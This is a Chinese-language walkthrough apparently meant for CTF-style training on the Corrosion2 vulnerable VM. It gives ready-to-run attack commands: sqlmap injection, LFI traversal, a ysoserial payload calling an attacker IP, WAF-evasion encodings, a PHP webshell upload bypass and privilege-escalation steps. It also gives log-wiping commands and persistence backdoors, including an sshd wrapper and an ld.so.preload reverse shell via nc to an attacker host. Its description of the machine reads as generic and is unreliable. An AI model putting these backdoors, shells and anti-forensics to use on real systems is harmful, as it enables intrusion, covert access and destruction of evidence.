1. Corrosion2靶机概述
Corrosion2是一款专为网络安全实战训练设计的渗透测试靶机系统。作为安全研究领域的经典训练平台,它模拟了企业环境中常见的漏洞配置和安全弱点,为安全从业者、CTF选手及网络安全爱好者提供了一个高度仿真的攻防演练环境。
这款靶机最初由网络安全社区开发,其名称"Corrosion"(腐蚀)暗示了系统内存在多种可被逐步渗透的安全缺陷。与第一代相比,Corrosion2在漏洞类型、防御机制和场景复杂度上都有显著升级,包含从基础注入漏洞到高级权限提升的完整攻击链路。
2. 环境搭建与初始配置
2.1 系统获取与部署
Corrosion2靶机通常以OVA虚拟镜像格式分发,支持在VMware Workstation或VirtualBox等虚拟化平台运行。下载后建议进行SHA256校验以确保镜像完整性:
sha256sum Corrosion2.ova部署时需注意以下关键参数配置:
- 内存分配:至少2GB(复杂场景建议4GB)
- 网络模式:桥接或NAT(根据实训需求选择)
- 磁盘空间:预留40GB以上空间
注意:首次启动时会自动执行初始化脚本,这个过程可能需要5-10分钟,期间不要强制关机。
2.2 网络连接验证
成功启动后,默认会显示系统IP地址。通过nmap进行基础扫描可确认服务状态:
nmap -sV -O <靶机IP>预期应检测到以下开放端口:
- 22/tcp:SSH(通常配置了非标准凭证)
- 80/tcp:Web应用(主攻入口)
- 445/tcp:SMB服务(常见漏洞点)
- 3306/tcp:MySQL数据库(可能存在弱密码)
3. 渗透测试路径分析
3.1 Web应用层漏洞利用
Corrosion2的Web界面包含多个典型漏洞点:
SQL注入点:
- 登录页面的用户名参数存在基于时间的盲注
- 使用sqlmap测试时需注意WAF绕过:
sqlmap -u "http://<IP>/login" --data="user=*&pass=*" --level=5 --risk=3 --technique=T
文件包含漏洞:
- 通过URL参数可实现本地文件包含(LFI)
- 尝试读取/etc/passwd:
http://<IP>/index.php?page=../../../../etc/passwd
反序列化漏洞:
- Cookie中可能存在Java反序列化点
- 可使用ysoserial生成payload:
java -jar ysoserial.jar CommonsCollections5 'curl <攻击机IP>' > payload.bin
3.2 权限提升路径
获取初始shell后,需要通过多种方式提权:
SUID二进制分析:
find / -perm -4000 2>/dev/null特别注意非常规的SUID程序如
/usr/bin/custom_backup内核漏洞利用:
- 通过
uname -a确认内核版本 - Corrosion2常见漏洞:CVE-2021-4034(pkexec提权)
- 编译exp时需注意glibc版本兼容性
- 通过
定时任务劫持:
crontab -l ls -la /etc/cron.*/查找可写的定时任务脚本
4. 防御机制与绕过技巧
Corrosion2内置了多种现代防御措施:
4.1 WAF规则分析
Web应用前端部署了ModSecurity,其特点包括:
- 过滤常见SQLi关键词(如
union select) - 拦截目录遍历特征(如
../) - 检测快速请求(超过50req/秒触发封禁)
绕过方案:
- 使用注释分割:
uni/**/on sel/**/ect - URL双重编码:
%252e%252e%252f代替../ - 调整请求间隔:
--delay=3参数
4.2 文件上传限制
上传功能存在多重验证:
- 前端JS校验文件扩展名
- 服务端MIME类型检查
- 内容签名验证
完整绕过流程:
# 1. 修改请求包绕过前端 curl -F "file=@shell.php;type=image/jpeg" http://<IP>/upload # 2. 添加图片魔数头 echo -e "\xFF\xD8\xFF\xE0<?php system($_GET['c']);?>" > shell.php.jpg # 3. 利用解析漏洞 /shell.php.jpg/.php5. 实战经验与技巧
5.1 日志清理策略
Corrosion2会记录详细的操作日志,覆盖位置包括:
/var/log/apache2/access.log/var/log/auth.log~/.bash_history
推荐清理方法:
# 1. 替换自己的IP记录 sed -i 's/攻击机IP/8.8.8.8/g' /var/log/*.log # 2. 使用内存文件系统操作 mount -t tmpfs tmpfs /var/log -o size=10M5.2 持久化维持技巧
常见的后门方式容易被检测,建议:
SSH wrapper后门:
cp /usr/sbin/sshd /usr/sbin/sshd.bak echo 'exec /bin/bash -c "$@"' > /usr/sbin/sshd chmod +x /usr/sbin/sshd动态库注入:
echo 'void _init() { system("nc -e /bin/bash <攻击机IP> 4444"); }' > /tmp/libhack.c gcc -shared -o /tmp/libhack.so /tmp/libhack.c -fPIC echo "/tmp/libhack.so" >> /etc/ld.so.preload
6. 靶机进阶应用
6.1 自定义漏洞扩展
通过修改/var/www/html/config.php可以开启隐藏漏洞:
// 开启XXE漏洞 libxml_disable_entity_loader(false); // 启用危险反序列化 ini_set('unserialize_callback_func', 'mycallback');6.2 网络拓扑拓展
将Corrosion2接入复杂网络环境:
- 配置多网卡模拟DMZ区
- 使用iptables构建跳板规则:
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.2.2:80 - 部署蜜罐服务干扰检测
我在实际渗透测试中发现,Corrosion2的SMB服务存在一个有趣的特性:当使用特定空会话请求时,会泄露内存中的临时凭证。这需要构造特殊的Negotiate Protocol Request数据包:
from impacket import smb conn = smb.SMB('*SMBSERVER', '<IP>') conn.login('', '') tree = conn.connectTree('IPC$') resp = conn.createNamedPipe(tree, 'srvsvc', 'rw')这种非标准交互方式往往能绕过常规的漏洞检测脚本,也是真实环境中经常遇到的"特性"漏洞典型案例。